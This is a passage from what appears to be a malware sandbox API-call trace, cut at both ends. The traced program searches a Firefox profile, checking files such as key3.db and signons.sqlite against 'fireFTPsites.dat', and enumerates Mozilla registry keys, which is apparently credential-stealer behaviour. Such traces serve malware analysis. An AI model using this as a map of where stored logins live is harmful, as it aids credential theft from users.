lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.967] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.967] LocalFree (hMem=0x65e730) returned 0x0 [0070.967] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0070.967] lstrlenA (lpString="\\*.*") returned 4 [0070.967] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x65d670 [0070.967] lstrcpyA (in: lpString1=0x65d670, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.967] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0070.967] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f3e6 | out: lpFindFileData=0x12f3e6) returned 0x642828 [0070.968] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.968] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f3e6 | out: lpFindFileData=0x12f3e6) returned 1 [0070.968] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.968] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.968] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f3e6 | out: lpFindFileData=0x12f3e6) returned 0 [0070.968] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0070.968] LocalFree (hMem=0x65d670) returned 0x0 [0070.968] LocalFree (hMem=0x626b88) returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f552 | out: lpFindFileData=0x12f552) returned 1 [0070.968] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f552 | out: lpFindFileData=0x12f552) returned 0 [0070.968] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0070.968] LocalFree (hMem=0x626a88) returned 0x0 [0070.968] LocalFree (hMem=0x65e540) returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f6be | out: lpFindFileData=0x12f6be) returned 0 [0070.968] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0070.968] LocalFree (hMem=0x65e638) returned 0x0 [0070.968] LocalFree (hMem=0x65e448) returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0 [0070.968] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.968] LocalFree (hMem=0x641518) returned 0x0 [0070.968] LocalFree (hMem=0x65b348) returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.968] StrStrIA (lpFirst="key3.db", lpSrch="fireFTPsites.dat") returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.968] StrStrIA (lpFirst="localstore.rdf", lpSrch="fireFTPsites.dat") returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.968] StrStrIA (lpFirst="marionette.log", lpSrch="fireFTPsites.dat") returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.968] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="fireFTPsites.dat") returned 0x0 [0070.968] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.968] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0070.968] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0070.968] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.968] lstrlenA (lpString="\\") returned 1 [0070.968] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.968] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.968] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.969] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.969] lstrlenA (lpString="minidumps") returned 9 [0070.969] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.969] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.969] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.969] LocalFree (hMem=0x6275a8) returned 0x0 [0070.969] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0070.969] lstrlenA (lpString="\\*.*") returned 4 [0070.969] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.969] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.969] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0070.969] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0x642768 [0070.969] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.969] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.969] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.969] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.969] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0 [0070.969] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.969] LocalFree (hMem=0x641518) returned 0x0 [0070.969] LocalFree (hMem=0x65b348) returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="parent.lock", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="permissions.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="places.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="pluginreg.dat", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="prefs.js", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="search.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="secmod.db", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="sessionstore.bak", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="sessionstore.js", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="signons.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="times.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.969] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="fireFTPsites.dat") returned 0x0 [0070.969] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.970] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0070.970] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0070.970] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.970] lstrlenA (lpString="\\") returned 1 [0070.970] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.970] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.970] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.970] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.970] lstrlenA (lpString="webapps") returned 7 [0070.970] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0070.970] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.970] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.970] LocalFree (hMem=0x6275a8) returned 0x0 [0070.970] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0070.970] lstrlenA (lpString="\\*.*") returned 4 [0070.970] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0070.970] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0070.970] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0070.970] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0x642768 [0070.970] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.970] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.970] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.970] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.970] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 1 [0070.970] StrStrIA (lpFirst="webapps.json", lpSrch="fireFTPsites.dat") returned 0x0 [0070.970] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f82a | out: lpFindFileData=0x12f82a) returned 0 [0070.970] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.970] LocalFree (hMem=0x65b428) returned 0x0 [0070.970] LocalFree (hMem=0x65b348) returned 0x0 [0070.970] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 1 [0070.970] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="fireFTPsites.dat") returned 0x0 [0070.970] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f996 | out: lpFindFileData=0x12f996) returned 0 [0070.970] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0070.970] LocalFree (hMem=0x627320) returned 0x0 [0070.970] LocalFree (hMem=0x627248) returned 0x0 [0070.970] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fb02 | out: lpFindFileData=0x12fb02) returned 0 [0070.970] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.971] LocalFree (hMem=0x65d330) returned 0x0 [0070.971] LocalFree (hMem=0x65e350) returned 0x0 [0070.971] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 1 [0070.971] StrStrIA (lpFirst="profiles.ini", lpSrch="fireFTPsites.dat") returned 0x0 [0070.971] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fc6e | out: lpFindFileData=0x12fc6e) returned 0 [0070.971] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0070.971] LocalFree (hMem=0x643b68) returned 0x0 [0070.971] LocalFree (hMem=0x643aa8) returned 0x0 [0070.971] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0070.971] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0070.971] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0070.971] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x13c) returned 0x0 [0070.971] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.971] lstrlenA (lpString="Software\\Mozilla") returned 16 [0070.971] lstrlenA (lpString="\\") returned 1 [0070.971] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0070.971] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0070.971] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.971] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0070.971] lstrlenA (lpString="Firefox") returned 7 [0070.971] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0070.971] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.971] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0070.971] LocalFree (hMem=0x65e350) returned 0x0 [0070.971] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0070.971] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0070.971] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0070.972] RegCloseKey (hKey=0x130) returned 0x0 [0070.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0070.972] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0070.972] RegCloseKey (hKey=0x130) returned 0x0 [0070.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0070.972] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0070.972] RegCloseKey (hKey=0x130) returned 0x0 [0070.972] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0070.972] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0070.972] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.972] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0070.972] lstrlenA (lpString="\\") returned 1 [0070.972] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0070.972] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0070.972] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.972] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0070.972] lstrlenA (lpString="Crash Reporter") returned 14 [0070.972] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0070.972] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.972] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0070.972] LocalFree (hMem=0x65d3d8) returned 0x0 [0070.972] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Firefox") returned="Firefox\\Crash Reporter" [0070.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.972] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0070.972] RegCloseKey (hKey=0x134) returned 0x0 [0070.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0070.972] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0070.972] RegCloseKey (hKey=0x134) returned 0x0 [0070.972] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0070.973] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.973] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.973] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.973] LocalFree (hMem=0x646ba0) returned 0x0 [0070.973] LocalFree (hMem=0x6292f8) returned 0x0 [0070.973] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.973] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0070.973] lstrlenA (lpString="\\") returned 1 [0070.973] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0070.973] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0070.973] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.973] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0070.973] lstrlenA (lpString="TaskBarIDs") returned 10 [0070.973] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0070.973] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.973] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0070.973] LocalFree (hMem=0x65d3d8) returned 0x0 [0070.973] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0070.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.973] RegQueryValueExA (in: hKey=0x134, 